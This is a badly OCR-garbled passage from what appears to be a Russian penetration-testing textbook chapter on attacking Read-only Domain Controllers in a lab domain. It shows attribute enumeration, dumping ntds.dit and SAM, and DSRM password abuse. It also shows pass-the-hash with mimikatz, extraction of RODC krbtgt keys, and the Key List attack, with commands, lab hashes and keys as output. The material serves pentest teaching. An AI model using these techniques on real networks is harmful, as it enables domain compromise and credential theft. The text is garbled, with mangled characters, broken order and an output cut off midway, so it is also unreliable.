Read-only Domain Controllers
Windows существует специальный подвид контроллеров домена
Read-only Domain Controller. В этой главе мы поговорим об уязви
В сетях на основе
под названием
мостях таких контроллеров и рассмотрим векторы атак, которые можно к ним при
менить.
Теория
Определения и особенности
Read-on\y Domain Controller был
обеспечить безопасное
цель -
представлен в
Windows Server 2008.
Его основная
взаимодействие сервера со службой каталогов.
Очень часто подобные контроллеры домена ставят в каких-нибудь удаленных офи
сах компании, старых филиалах и прочих местах, где невозможно гарантировать
достаточную физическую безопасность сервера. Получив доступ к такому устрой
ству, ни один злоумышленник не сможет толком повлиять на домен.
Внутри
RODC
хранится копия базы АО, но чуточку измененная. Во-первых, не со
храняется множество атрибутов, например ms-Mcs~AdmPwd пароль локального администратора при настроенном
в этом атрибуте хранится
LAPS.
Во-вторых, разрешено
кешировать учетные данные лишь конкретных пользователей. Например, пользова
телей этого самого удаленного офиса.
Что такое кеширование? Это обычное сохранение учетных данных пользователей.
Сохраняются они в файле ntds. di t, равно как и на обычном контроллере домена.
Причем
RODC
не создает домен, а добавляется в существующий. Делается это еще
на этапе установки и выглядит так, как показано на рис.
При этом использование
RODC
3 .1.
дает множество преимуществ в плане безопасно
сти: отдельный DNS-cepвep, изменения в которс\1 никак н-: отражаются на основ
ном,
делегирование
роли
администратора любому
пользователю (причем
этот
пользователь необязательно должен быть администратором на обычных контрол
лерах домена, рис.
3.2).
Глава
3.
Ri;i
Пентестим
Read-only Domain Controllers
41
Мастер настройки доменн ых служб Active Directory
□
ЦЕЛЕВОЙ СЕРВЕР
Конфигурация развертывания
Конq,иrурация раз верты
х
rodc
Выберите операцию ра.зве:рты~ния
•
Добавить к.онтроме:р домена в существующий домен
Добавить новый домен в сущестеующий ле<:
Добавить ноеый .лес
Укажите сведени.я о домене для этой операции
Домен:
CRINGE
Для выnолнени.я этой операции еведите учетные данные
СRINGЕ\Админисrратор
Подробнее о конфиrурации раз.вертывания
Рис.
3.1.
Настройка
RODC
~ Мастер настройки доменньр: служб Active Directory
Параметры
□
ЦЕЛЕВОЙ СЕРВЕР
RODC
Коt,;фиrураци• разверты _.
1
rodc
Де.11е~роsан.н.ая учетная 3аП14С.Ь адми н истратора
Парамеч,ы контроллера ..
Пара••етры
RCJD..:
Дополнительные парам ...
Пуn<
Просмотреть параметры
Проверка nредваритель...
х
O..иrnm.
CRINGE\FAUSТlNOSHERМAN
Учетные з.аnиси, которым разрешена реммкация nароле14 в
[_
ёiiNGЕ\мёндЁL~LАМвЁкr--
11· Выбраn....
RODC
-] i
--·--
1
даба•иn....
Удалить
~------------------------~
Учетttые 3аnис:и, коюрым заnрещ~а рем-ихацИя паролей
s RODC
CRINGE\RAMONA_ТURNER
1
CRINGE\RANDELL_COLON
J
r Добавить. ..
CRINGE\RAМON_STEWARТ
1
------·--- _
i~_У-'р-'-;,л-~_ть
Ес11и одной и той .же учетно~ заnиси доступ одноsременно ра3решен и :sапрещен, то
приори~ отдается отк:азу в доступе .
Падроб~е• о n•р•метрах
RODC
< Н•'"А 11
Рис.
3.2.
Долее >
Назначение пользователей
_ _,
42
Часть
/.
Пентест
Active Directory
Также следует выделить особенность репликации
только со стороны обычного контроллера домена.
может. Также присутствует изоляция
политиках остаются на
Если рассматривать
RODC
SYSVOL -
(DCSYNC) - она возможна
RODC ничего реr1.1ицировать не
любые изменения в групповых
и не распространяются на основной домен.
Microsoft, то возникают
Tier О ресурсы не могут работать
в тех местах, где должны находиться RODC. А RODC не должны иметь под кон
тролем какие-либо ресурсы из Tier О. Поэтому хосты RODC и учетные данные для
подключения к ним никак не могут принадлежать Tier О, но вот сами компьютер
ные объекты RODC следует защищать как Tier О.
RODC
на «тировой» архитектуре
определенные сложности, т. к. принадлежащие
Атрибуты
RODC
имеет множество особенностей. Первая
-
почти вся нужная атакующему
информация находится в атрибутах компьютерной учетной записи
RODC.
Наибо
лее интересные для нас атрибуты кратко описаны ниже.
managedBy
Здесь указывается объект, которому делегировано административное управление
RODC.
Любой пользователь или группа, указанные в этом атрибуте, являются ло
кальными администраторами на
RODC
(рис.
3.3):
Get-ADComputer 'RODC' -prop managedBy
PS
С :\Usеrs\Адuинистратор. WIN-9BEК1LQS7SI>
DistinguishedName
DNSHostName
EnaЫed
ManagedBy
Name
0bjectClass
0bjectGUID
SamAccountName
SID
UserPt·inci palName
Get-ADComputer •F,-,r,- •
-ргор
managedBy
Cr-t=R0DC,0U=Domain Controllers,DC=cringe,DC=lab
R0DC.cringe.lab
True
Cr-t=FAUSТil'IO_SHERМAN,OU=BDE,0U=Tier 1,DC=cringe,DC=lab
RODC
computer
dc7cce21-dlf2-4c81-83e8-b0650915418e
RODC$
5-1-5-21-2531206019-2546345469-201572242-4202
Рис.
3.3.
Изучение атрибута
msDS-RevealOnDemandGroup, msDS-NeverRevealGroup
В этом атрибуте указываются объекты, учетные данные которых могут кеширо
ваться. Кеширование нужно для того, чтобы эти пользователи могли проходить
проверку подлинности на
RODC.
Get-ADComputer 'RODC' -prop msDS-RevealOnDemandGroup,msDS-NeverRevealGroup
Соответственно,
существует атрибут, запрещающий кеширование прописанных
в нем учетных данных объектов. Он называется msDS-NeverRevealGroup.
Глава
Пентестим
3.
43
Read-only Domain Controllers
msDS-AuthenticatedToAccou ntlist
Здесь будут храниться объекты, которые успешно аутентифицировались на
(рис.
RODC
3.4):
Get-ADComputer 'RODC' -prop msDS-AuthenticatedToAccountList
PS С :\Usеrs\Адuинистратор. WIN-98EК1LQS751> Get-AOCornputer 'r;,r,[\- • -р,·ор msDS-AнthenticatedТoAccountl i s.t
CN,:,ROOC ,OU=Domain Control lers ,OC=cringe, ОС= lab
R.OOC.cringe. lab
Di sti ngui shedNasne
DNSHostName
EnaЫed
True
{CN=ROOC ,OU=Domai n Contro 11 ers, OC=cri nge, ОС= l аЬ, CN=Aлuиниcтpaтop,CN=Users, OC=cri nge, ОС= 1 аЬ}
ms.DS-Authenti catedТ0Accm1ntl i st
Name
ObJectClass
R0OC
computer
dc7 cce21-dlf 2-4с81- 83еS-ЬОб50915418е
R0OCS
5-1-5 - 21-25 3120601 9- 2546345469- 2015 72242-4202
0bjectGUI0
SamAccountName
SID
UserPri ncl ра 1Name
Рис.
3.4.
Изучение атрибута
msDS-AuthenticatedToAccountList
msDS-Revealed*
Это целая группа из нескольких атрибутов:
□ msDS-RevealedUsers ровались на
□
список
msDS-RevealedDSAs -
□ msDS-RevealedList хранены на
список объектов, учетные данные которых когда-либо кеши
RODC;
RODC,
которые кешировали пароль пользователя;
список объектов, учетные данные которых были успешно со
RODC.
Get-ADComputer 'RODC' -prop msDS-RevealedList,msDS-RevealedDSAs,msDS-RevealedUsers
Аутентификация пользователей
RODC
кеширует учетные данные определенных пользователей как раз таки, чтобы
проверить их подлинность. После успешной аутентификации по всем канонам
должен быть сгенерирован ТGТ-билет, но
RODC
нельзя считать надежным КОС,
поэтому у него создается собственная учетная запись
для подписи создаваемых
krbtgt. Ее пароль используется
TGT.
Упомянутая учетная запись имеет необычное имя: krbtgt_ <цифры>. Эти самые циф
ры
-
специальный идентификатор ключа, который использовался для шифрования
ТGТ-билета.
Имя
KrЫgtLink объекта
новой
RODC.
учетной
записи
KRBTGT
хранится
в
атрибуте msDS-
А у этой самой новой учетной записи
msDS-KrЫgtLinkBl содержится имя
RODC.
Таким образом,
связать его с конкретным КRBTGT _ххххх (рис.
KRBTGT в атрибуте
обнаружив RODC, можно
3 .5, 3 .6).
Get-ADUser -filter {name -like "krbtgt*") -prop Name,Created,PasswordLastSet,
msDS-KeyVersionNumЬer,msDS-KrЫgtLinkBl
Get-ADComputer RODC -Properties
msDS-KrЫgtLink
И, соответственно, обнаружив КRBTGT_xxxxx, можно связать его с конкретным
(рис.
3.7).
RODC
Часть
44
C:\Us~s\A,шмниcrpaтop.WIN-9BEК1LQS751>
PS
get-aduser -<',!t'<'r {nar.ie -1,lo~
Created
09 . 01.2023 22 :31 : S4
OistinguishedNa111e
C,.._krbtgt ,C"-'"Users, DC,.,cri flge, ОС• 1 аЬ
False
EnaЫcd
Gi...,enName
r.is DS-Key'Ver s i oriNumber
/.
Пентест
Active Directory
} ~proo Narie ,Created . PasswordLastSet casDS-Key\iersionNUl!\Ьer . msOS-КrbTgtL'inkBl
2
L:rbtgt
user
Jriar.ie
Ob~ectClass
ObJectGUID
SamAccountNaJ!le
~ 6а7Ь8а - Ьf"Ь4-4 fS 7 - bf d3- e7963fd3 Ьс.&б
09.01.2023 22:31:54
k:rbt gt
SIO
S-1-S-21-2S3120Ь019-254б345469-201572242-S02
PasswordlastSet
Suгnar.;e
IJserPrincipa1Name
Create-d
Di stlnguis~edN11111e
28.01.2023 17 :12:30
С ,.,.k.rbt gt_l9160 , С Н=>Us ers , ОС•с r i
EnaЫed
nge, ОС'"' 1 аЬ
i::al s~
GivenN&11e
msDS-~eyV\!rs ionNttmber
вsDS- Kt·bTgtL i nk.81
1
{CN•ROOC ,OUzDor.iai n Control l ers ,OC=c.rlnge, OC• l ab}
lc:rbtgt-19160
u~er
•=•
Obj ectC 1ass
ObjectGUID
Pa..sswordLastSet
SamAccountName
SID·
3d4 5 Ь9с.8- elSB-4 9а4- a2U-10c70dJ 97 4 ев
28.01.202] 17:12:30
krbtgt_l9160
5-1-5- 21 - 25 31206019-2S46345469-201572242- 4203
Surnшne
UserPri nci ра 1Name
Рис.
3.5.
Нахождение
KRBTGT_ХХХХХ
!
[PS С :\Usеrs\Адuинистратор. WIN-9BEК1LQS7SI> Get-ADComputer· RODC -P1·ope 1·ti es msDS-KrbTgtL i nk
1
IDi sti ngui shedName
IDNSНostName
, EnaЫed
•
msDS-KrbTgtLink
!Name
ObjectClass
pbj ectGUID
iSamAccountName
iSID
!userPri nci ра 1Name
Cf>l=ROOC ,OU=Domai n Control let·s, DC=ct·i nge, DC= lab
ROOC.cringe.lab
True
Cf>l=krbtgt_191б0,Cf>l=Users,DC =cringe,OC=lab
RODC
computer
dc7cce21-d1f2-4c81-8Зe8-b0650915418e
ROOC$
S-1-5-21- 2531206019-2546345469-201572242 - 4202
1
Рис.
!Ps
С : \Usеr~\Адuинистратор. WIN-9BEК1LQS7SI>
3.6.
Нахождение связанного krЫgt
Get-ADUser krbtgt--19160 -Propert, es msDS-SecondaryKrbTgtNumber , msDS-К.rbTGТL; nkBl
1
1
о; st 1ngu'i she-dName
CN=krЬtgt_l91бO ,CN=Users, OC=cri
nge, ОС= 1 аЬ
False
~i:~~~ame
rnsDS -Kt· bTGТL inkBl
msDS-Sec.ondaryKrbTgtNumber
,Name
Objec.tClass
~~~~~~~Name
SID
Su1·name
;userPr'i ncipalNarne
{C№=ROOC
, OU=Doma'in Controll er s, OC=cr'i nge , ОС= lab}
19160
kt·btgt-19160
use,·
Зd4 SЬ9сВ-е188-4 9а4 - а211-10с70dЗ974 eS
krbtgt-19160
S-1-S-21-25 31206019-254 6345469-2 015 72242-4203
Рис.
Дополнительно отмечу,
что
3.7.
Нахождение связанного
RODC
RODC
имеет право на сброс
пароля этой
самой
КRBTGT ХХХХХ.
Get-ADUser krbtgt_l9160 -Properties
Поиск
msDS-SecondaryKrbTgtNumЬer,msDS-KrbTGTLinkBl
RODC
Как я уже отметил, вы можете обнаружить учетную запись с именем КRBTGT _<цифры>,
после чего глянуть ее атрибут msDS-KrbTGTLinkBl и найти связанный контроллер, но
есть и иные способы нахождения
RODC.
Глава
3. Пентестим Read-only Domain Controllers
Поиск
RODC
использовать фильтр (рис .
3.8):
Рис.
Самый простой
-
45
3.8.
Get- ADDomainController - filter {ISReadOnly -eq $True)
Также была обнаружена группа « Контрол леры домена
троллеры домена предприятия
соответственно.
RODC
-
только чтение » и « Кон
только чтение », которые имеют
-
и
RID 521
498
входит в одну из этих групп в зависимости от его уровня .
Соответственно , мы можем л ибо перебрать вс е компьютеры , анали з ируя их атри
бут 'PrimaryGroupID', либо сначала получить
Get-ADG roup -filter
PS
{пате
- like
Name
ObjectClass
ObjectGUID
SamAccountName
'
SID
DistinguishedName
GroupCategory
GroupScope
Name
ObjectClass
ObjectGUID
SamAccountName
SID
3.9) :
get-a group
,r, \ter·
name - i 1 f
е
~чтенл
СN=Контроллеры доuена ~ только чтeниe,CN=Users,DC=cringe,DC=lab
Secш·ity
Global
Контроллеры доuена - только чтение
••
•
• .· .
" .
group
d876774c-474b-4a70-a3d9-e89998e5a99e
Контроллеры доuена - только чтение
S-1-5-21-2531206019-2546345469-201572242-521
СN=Контроллеры д~uена предприятия - только чтeниe,CN=User~,DC;;cringe,DC=lab
'
Secш·ity
Universal
Контроллеры доuена предприятия
-
только чтение
group
б8ЬЬеf4а-сlса-49еб-Ьебf-еЬ5б8400fебf
Контроллеры доuена предприятия - только чтение
S-1-5-21-2531206019-2546345469-201572242-498
Рис.
А затем извлечь участников (рис.
Get - ADGroupMemЬer
этих групп (рис .
"*чтен* " )
С :\Usеr·s \Адuинистратор. WIN-9BEК1LQS7SI>
DistinguishedName
GroupCategory
GroupScope
GUID
3.9. Нахождение
групп
3. 1О) :
-identity d876 77 4c- 474b- 4a70-a3d9- e89998e5a 99e
46
Часть
Рис.
3.10.
/.
Пентест
Active Directory
Находим участников
Получение кешированных паролей с
RODC
Первым делом вы должны получить принципала, который имеет права локального
администратора на
RODC.
Это может быть компрометация как кого-то привилеги
рованного, так и просто пользователя, прописанного в атрибуте managedВy. Но перед
этим не забудь выяснить, кого вообще мы можем скомпрометировать. Дпя этого
загляните в атрибут msDS-RevealedUsers (рис.
3.11 ):
Get-ADComputer 'RODC' -prop msDS-RevealedUsers,msDS-RevealOnDemandGroup,msDS-RevealedList
Столь большие отличия не случайны. Вроде бы кешировать разрешено RACНAEL _
LAМBERT и администратора, а закешированы данные только второго, откуда-то взяв
шегося
RODC
и krbtgt_l9160. Проблема заключается в том, что кеширование про
изойдет только после успешной аутентификации пользователя в домене. То есть
если RACНAEL_LAМBERT сейчас залогинится, то данные этого пользователя будут переда
ны
RODC обычным контроллером домена для кеширования. Учетные данные
RODC и krbtgt_l9160 лежат в кеше потому, что компьютерная учетная запись ис
пользуется, например, при работе со службой каталогов, а с помощью KRBTGT
шифруются выдаваемые TGT.
Так как все закешированные пароли будут лежать в ntds. di t, то смело дамп им его
любым удобным способом. Но сначала нужно получить доступ от лица локального
администратора. Вспомним, что в атрибуте managedBy был прописан некий FAUSTINO_
SHERМAN (рис.
3.12)
Получаем доступ к этому пользователю, заходим на хает и видим, что мы действи
тельно в группе ЛА (рис.
3 .13 ).
После этого дампим ntds.dit как нам угодно, например через
VSS.
Глава
3.
Пентестим
Read-only Domain Controllers
Рис.
PS
3.11.
Просмотр атрибутов
С : \Usеrs \Адuинистратор. WIN-9BEК1LQS7SI>
DistinguishedName
DNSHostName
EnaЬled
1anagedBy
Name
0bjectClass
0bjectGUID
SamAccountName
SID
UserPrincipalName
47
Get-ADComputer
rcx •
- р ,·о р
managedBy
Cri=R0DC ,OU=Domain Controllers,DC=cringe,DC=lab
R0DC.cringe.lab
Tr·ue
Cri=FAUSТINO_SHERМAN,0U=BDE ,OU=Ti et· 1, DC=cri nge, ОС= 1 аЬ
RODC
computer
dc7cce21-dlf2-4c81-83e8-b0650915418e
R0DC$
5-1-5-21-2531206019-2546345469-201572242-4202
Рис.
3.12.
Атрибут
managedBy
iC : \Users \F AUS Т INO _SHERNAN>whoami / groups
:(ведения о группах
Г руппа
Тип
Все
Хорошо
BUIL Т ПJ\Пользователи
вurlТIN \ Пpeд-Hindows 2000 даст n
Псевдоним
NТ
SID
и звестная
группа
Псевдоним
А U ТНОRIТУ \ ИНПРАКТИВНЬIЕ
5 - 1-1 - 0
S-1-5-32-54S
S-1-S- 32-554
Хорошо известная группа
S- 1-5 - 4
S-1-2-1
S- 1-S - 11
NT АUТНОRПV\Данная организац и я
Хорошо и звестная группа S - 1- S - 1S
ЛОКАЛЬНЫЕ
Хорошо и звестная группа S-1·2-0
Группа
i(RINGE \RU - абu - di stlis t 1
S- 1 - 5 - 21 - 2531206019-2546345469 - 201572242-4086
Группа
CRINGE \ ВО - 14 jerusal - dis t list 1
5- 1- 5 - 21 - 2531206019 • 254634S469- 201 S72242- 3986
CRINGE\GR - mi с - di st 1 i s t 1
S- 1- 5 - 21-2531206019- 2546345469 - 20 1572242 - 4032
Группа
Группа
{RINGE\S0 - axelSllob-di stl is t 1
5- 1 -5- 21- 2531206019- 2546345469- 201572242- 397 2
]Подтвержден н ое центром проверки nод.nинност и удостоверение Хорошо и звестная группа 5- 1 -18-1
S- 1 - 16 -8 192
Обязатель н ая метка\Средний об язатеnьный уровень
Метка
консольный вход
rн
АUТНОRПУ \ Прошедшие
проверку
Рис.
3.13.
Хорошо
и звестная
группа
Xopowo
и звестная
группа
Членство в группе локальных администраторов
(
<
<
<
(
48
Часть
/.
Пентест
Active Directory
DSRM
У всех контроллеров домена есть такая штука, которая называется
DSRM.
Она по
зволяет сделать «запасной» пароль для учетной записи локального администратора
на случай, если вдруг основной пароль забыт или утерян (рис.
~-
cr;н:U'apeнi(
S~
Sfi41
SJ8
SМ1
/•nt/hJf1/Sh.ar•
sab 19:!.168.116 . 139 -u
192 168.116.139 i.i,S
19:!.168.116.139 t.1.5
19:!.168.116.139 t.t.5
19:! . 168.116.1)9 LLS
192 .168 116.139 1.1.5
192 .168 . 116.139 t.t.S
192.168 116.1)9 t.(5
SJ4I
SJllil
s•
·~:.us~!~O_S"ERМ:. t,·
.
l;:;t,e~
Н"
~• w1ndcws Server 2 С16 Diltilc.enter 11.393 ~01. (n.аме JIOOC) ( ооа.нn ,1inge.1ab} (s 1gn1ng:Tru._:,) {SЩlvl.True)
{+] ,onge la b 'l'C..JSTl'.O_SHE "-"A.l1 :.o'. k ekcheы:в• (Pwn3d')
{+] Ou;ipнig 5:.М hal'!es
Дд.u11н11стрi1JОР SCC •o1d)bl.]SbSHOt.ee.ao1d]Ь435b5HOt.ee ~ ::
roca 501 '"'•d3Ь435b5lt.0t.•eo1.ad]bt,,З5bS1t.Ot.1t-•.31dбcf•3d16.ae931Ы3c59d7etcCS9ct •••
Daf..iu\ tAccount 503 o11.1d3bt.3Sb51'-0t.1н:·ii1.td3bt.ЗSbSlt.04eae ,31d6cfqOiJ16.ae931b73cS9d7eO<.tl9<.I: ·:
[+ } A(l::Jt-d] S.\'it h,H,ht'S to tht' datilbase
ROOC
ROOC
ROOC
R00C
ROOC
ROOC
ROOC
Рис.
Как только
"~:с : ~.,
3. 14).
3.14.
мы получили доступ
к
Получение
RODC,
DSRM
обязательно нужно дампить
SAM
с целью поиска этого пароля. Пароль связан с учетной записью администратора,
RID
которой равен
500.
Причем если мы сравним этот пароль со стандартным паролем администратора, то
они будут отличаться (рис.
3.15).
Г(
•
'· : /11nt/hgfs/Share .
·- impacket - secretsd ump СRINGЕ/Администраторw192.168. 1 16.133 -j ust -dc-user
Impacket _v0.10.0 - Copyright 2022 SecureAuth Corporation
Администратор
Password:
[*] Dumping Domain Credentials ( domain\ uid:rid: l mhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Администратор:500:ааdЗЬ435Ь51404ееааdЗЬ4 3 5Ь51404ее : 87б15641ЬеdаЬЫ845dЗс25а69еЬЬ0еб :::
[•] Cleaning up ...
Рис.
3.15.
Пароль обычного администратора
Нам может повезти, а может и нет. Во-первых, чаще всего устанавливается один и
тот же пароль
DSRM
на все контроллеры домена, и мы сможем зайти на другой
контроллер домена от лица администратора. Но, во-вторых, чтобы зайти от имени
администратора, нужна особая настройка контроллера: требуется, чтобы значение
DsrmAdminLogonBehaviour по пути НКLМ\System\CurrentControlSet \Control \Lsa было равно
(рис .
2
3.16).
Если нам повезет, то мы сможем выполнить вход от имени админской учетки
(рис.
3.17).
Особенности работы
Kerberos
Самая главная особенность работы
Kerberos
с
с
RODC
RODC
в том, что
синхронизироваться с контроллером домена. Процесс
в одну сторону
с
RODC
-
с обычного контроллера на
невозможно (рис.
Также сгенерированный
просом
TGS-REQ
RODC.
DCSYNC
RDOC
не может
возможен лишь
Синхронизировать что-либо
3 .18, 3 .19).
RODC TGT
можно использовать и в домене, отдав его за
на службу krbtgt обычного контроллера домена. Когда обычный
Глава
3. Пентестим Read-only Domain Control/ers
Рис .
3.16.
Проверка реестра
gmimikat:;; pri\1 ilege: :deoug
3Pri vilege '20' ОК
3
~mimikat: <' sekurl sa: : pth / domain: CRШGE /user: Дд,sинис тратор /ntlm: 923197ec0ecd5<l5ccd01bfld8b63f9a8
cd
Администратор С \ W1ndows\SYSTEM32\cmd ехе
.l•licrosoft l-lindo«s [Version 10. 0 .14393]
~(с ) Корпорац\.1:я 1·1айкросо.,;"'lт ( Hic rosoft Corporat.i on), 20-16. Все права ЗдL.ИL.ены.
с
~C: \Windows\sys tem32 >dir \\dc01\C S
Том
в у(тройстве
Серийны~
•
Содержиr-юе
~12·. 09. 2016
еlб. 07. 2016
• 09.01.2023
~16.07.2016
':09. 01. 2023
09 . 01.2023
а
номер
\\dc01\C S
тома:
папки
~е
имеет
метки.
Сб73-СВС0
\ldc0 1 1C $
17:42
Logs
<OIR>
Perflogs
<DIR>
18:23
Program Files
<DIR>
22:17
Program Files (Х8 б )
<DIR >
18:23
Users
<DIR>
22: 26
t•lindoнs
<DIR>
22:31
0 байт
0 фа,лов
6 папок 49 422 696 448 байт свободно
:_с: \l·iindo1,1s \sys tem32 >
Рис.
3.17.
Успешная аутентификация
49
50
Часть
-
,с
s mb 19 ! lb B.l l b 1 J9
192 .1 68 116.139 445
ROO(
19 2 168 . 116.139 44">
rюor
19 2 168.116 139 44~
RODC
192 168 . 116 139 44')
RODL
<,
1
\Pi
Ч
','i
J<j).
11,1!
1'11!,
1'.1.> .
19.1 .
l<:l' .
JIJ> .
tt,H. 1ь. 1 J1
1•, R . :(, . 1.Н
lf18 . 16.JH
1b8 . Н,. н·1
1ЧJ
H>. l lJ 44'1
1t,. 111 4 ,,.,
or01
0(01
D011
1'Р.1Ы!.
Н,.1 О
1•J . 1 .н,н .
\r-, . 111 1,:.•,
:1,.111 1,:,•,
lt>. 1.1.1 l,L',
uc.01
UCt!1
H,.lJJ Lf,';
1b.1J.1 1,1,',
Ol.Cl
DCC1
JЧ.'.l t, k.
JЧ.'.
;t,;;_
l9;'.1Lk
1 97.lьН.
"-'.дм,,,.,..
,J)tJ;,
;;
3.18.
если
Гос r ь : 50 1: ;i,н13b43':>b':> 11o 0 olo<'<'ilild)b.t..J5b51404eP:) 106< f ,•Od1&ato931Ы Зt 5Qd7e0c089c0: •
krbt qt, 502 ;;i;i !! Зb4J5b51 4 0olot> <•,ыdJb1,J5b51404ee • 47S61ЗO.ib90f05319ЗЗ66a5e6178Sc 13;::
O<'f.1111 tAцo1111t: 503; a,:нlЗb41Sb51l,01,eeo1;1dJb4J'ib5 1 4~ 4 ,,,:,: 11d&c f1.>01l1fi,1e911ЫJcS9d7,:,0<089c0;: •
!.11 с tы,:,\ : 1000: a ;нlЗl143Sb514(!4,•p .ыdJbloJ511>H04Pt': 1:1161':iM, lbrd,1bЫBlo5111c1S..1&9Pbb0Pb:: •
( т i.nl!t'. 1.1l1\lORI[_l1{BS1 [ R: 1101.: ;мd3bt.1'ib511o04ee.,ad1b4J'>b',1'-04N.>, 811CJ84.19Ucct.7b8d<Jf 2,1d0&1412d.181 : • •
( 1 11,!i••. \.:1b\HOR[NП _6RAtt~: 110'>: ,1.id Jb4 1'>b':>1401ot•"1.1.1dЗh43',b511o04N!: 1!bJ21<2d600f9ЫfЬd,1d',8d4 f ObJ1069:;:
, г inqe. l,1Ь\SHAROIJ . JACOB'>: 1106: <\аd)Ьч 1',b',1404•чы.нtJb4"1!>b',1'-0l..l!t>: 'if1671c9d.10b09 16113b2d881899.14.1 a :::
t r11н\v. l.1Ь\l'IILFORD SHPHHtSON; 1107: ., .rdJblo 1'оЬ5140 1. ,ч>;,"d3Ьt.ЗSЬ~Н.04ее: ea~1616H!kl.17fc0c f 748SЬ180b16& f 7
< r 111ч,:,. l.1b\CVR I L _PAUL: 110R; aad3b4ЗSb5 ll.Пloev,1,1dJl14J!>bS140 '- •'~': (OJaJtbJ5f f1,b883fd1dfbb0a74dvc2S:: •
DПН
{К01
TGT,
3.19. Дамп
TGT
с
DC
он смотрит атрибут msDS-RevealOnDemandGroup
принципал тикета указан • в
NeverRevealGroup, то
RODC
..... •·· ..,i\
,c]k,K;l,,.1,1:з•·
Рис.
веряет:
Дамп с
' Wi ndo 111 '> S 1'Г \/ l'Г ) 0 \Ь Пltм en te r 11,:19J ~f>I, (n,1ml': IK111) ( d om ,,in:(riпfг . la b ) (<;i~ n i n g :Jr щ•) (5~R11 1: 1.rue )
( +] П i n P,P. \ ;. h \ дJ1Mlllltlf fJJ,H Op : lo\ k p k , h P h 1;• .1 ! (P1,mJ1/ ' )
[+] t) 11mp i n(t t hP NIO'> , t h i<,. cou \ d t,1 k P ,1 wh i1(' <;О ~n V, r ,1 h ;i ГP dh 11ll,
Ад,,t11нис rр;.тор; ',00: .-i.-idJb i.i J 5b':> 11o04<i>t>i!,1d]b4 }Sb':i 11o04<•t•: 8 /&1 '>fJ41bed.1bb]84SdJc 2S.-iЬ9ebЬOeU : ; :
ООН
КД получает данный
Active Directory
:, lr,H.:,~ tcf'!:>11,
1 1,
~,..,•~r•
Wi ndows Serve r 1 С 16 Datace п ter 1/.393 х64 ( nam.:> ROOC) ( doma1 n с п п gе lab ) (s1gn 1ng : '
(+] c г 1n g P \а Ь \ Админис1р ,но р · lоl k Р k с h еЫ.!З 1 (Pw11Jd')
(+] Dump 1n g t he NTDS , t h 1s c ou ld t.~ k P d wh1le so go g r ab а r edbu l l .
Unknown ОП RPC fa u lt stat u 5 code 00000057
1)(111
!)1111
4.:.',
'<4',
44'>
44',
44•,
Пентест
Ад\•rl~м-озтгр
Рис.
·,mb 11).1 168,11&, 111
191 1tiH. H,.1.JI 4f,",
D!U\
/.
этом
атрибуте и
будет обновлен до «полного»
TGT
RODC
не указан
и про
в msDS-
и подписан ключом
обычной учетной записи krbtgt контроллера домена. Причем обычный контроллер
домена перегенерирует РАС билета, а не станет его копировать из
ванного
TGT, сгенериро
RODC.
Таким образом, если мы хотим создать «золотой», «бриллиантовый» или «сапфи
ровый» тикет, обязательно следить за тем, какой пользователь нам нужен. Принци
пал ни в коем случае не должен присутствовать в списке 'msDS-NeverRevealGroup'.
Кеу
List
Эта атака позволяет извлечь NTLM-xeш пользователя, злоупотребляя особенностя
ми взаимодействия
RODC
с обычным контроллером домена. Сначала «золотой»
тикет генерируется с использованием ключа krЬtgt
TGS-REQ
RODC
и отправляется в запросе
на обычный контроллер домена. При этом устанавливается специальный
флаг КERВ-КEY-LIST-REQ. И если целевая учетная запись присутствует в атрибуте
и отсутствует в атрибуте msDS-NeverRevealGroup, то
msDS-RevealOnDemandGroup
RODC
REP будет содержать
структуру КERВ-КEY-LIST-REP с учетными данными пользователя.
TGS-
Для выполнения атаки нам нужны:
1.
АЕS-ключ учетной записи krЬtgt с
2.
Номер версии ключа (последние цифры в имени krЬtgt).
3.
Имя пользователя, хеш которого хотим получить. Пользователь должен быть
RODC.
прописан в атрибуте msDS-RevealOnDemandGroup.
Первые два объекта можно получить, используя
lsadшnp::lsa
Mimikatz (рис. 3.20):
/inject /name:krЬtgt_19160
А потом можно воспользоваться
пользователя:
Rubeus
либо
lmpacket
для получения NTLM-xeшa
Глава
3. Пентестим Read-only Domain Controllers
51
~imikatz ~ lsadump::lsa /inject /user:krbtgt_19160
CRINGE / 5-1-5-21-2531206019-2546345469-201572242
!Domain
0000106Ь ( 4203)
!RID
lJse r
1
krbtgt_19160
• Primary
NТLH
:
с487сlе60Ье2ЫеЬаб291Ь372Ь668f54
LH
Hash NTLH: c487cle60be2Ыeba6291b372b668f54
ntlm - 0: с487сlе60Ье2ЫеЬа6291Ь372Ьбб8f54
lm - ·0: 9bdaf4c027ac4cdabf330ef34697907f
• HDigest
01 102cb54e197138f0d2cflc7dc43e2631
02 715f7abf279413a09ae6a26b83290fec
03 67172939773d667f840f614d911bc489
04 102cb54e197138f0d2cflc7dc43e2631
05 715f7abf279413a09aeбa26b83290fec
06 ff78a0aac65e3a7c30513c8ca7981775
07 102cb54e197138f0d2cflc7dc43e2631
08 71dce99598403c726066637043699221
09 71dсе9959840Зс726066637043699221
10 2bfbc0ca3101478bf563d3c82662a768
11 9f38323072225ab526ba3657dee02df2
12 71dce99598403c726066637043699221
13 6c75c255cf5c8c212f878f3869d2clbc
14 9f38323072225ab526ba3657dee02df2
1·s . c8ele8970503aeff44ebb08a8bff4650
16 c8ele8970503aeff44ebb08a8bff4650
17 0694ca7eb34d286de8e299a5442b56c5
18 flba09a5d3f3bd128638dbe3a19961b4
19 c44e5dfe9145a03e1Ь740062da98967d
20 За79с99Ь1За961257f08577с0917429f
21 641cd5f95fa6d007520 c9 0be506Ы29b
22 641cd5f95fa6d007520c90be506Ы29b
23 Зc7f52ae464404d8566ec90eedbeaбa3
24 5151d385049636c8cfe2718ffbb4c95b
25 5151d385049636c8cfe2718ffbb4c95b
26 5ес7228сЬ6а6860349472Ь9019а6с2са
27 730a399e4159f8af751e177c29621951
28 bбba5c0d28d18ba2fde8d4c4a1962b4d
29 3dela422182b01650f6809e7d0de7498
• Kerberos
Default Salt : CRINGE .LAB krbtgt_19160
Credentials
: 7992а4375445е068
des _cbc_md5
• Kerberos-Neo,er-Keys
Default Salt : CRINGE.LABkrbtgt_19160
Default Iterations : 4096
Credentials
fa34fec82433432f4b 3e3fb8005bd369ddde8f15ee5450e92d9304ecd07bab60
aes256 hmac
(4096)
fbbef2fed21ffb50c0e01f40186923ed
aes128_hmac
(4096)
7992а4375445е068
des_c bc_mdS
( 4096)
•
NТLH-Strong-NTOl•IF
Random Value :
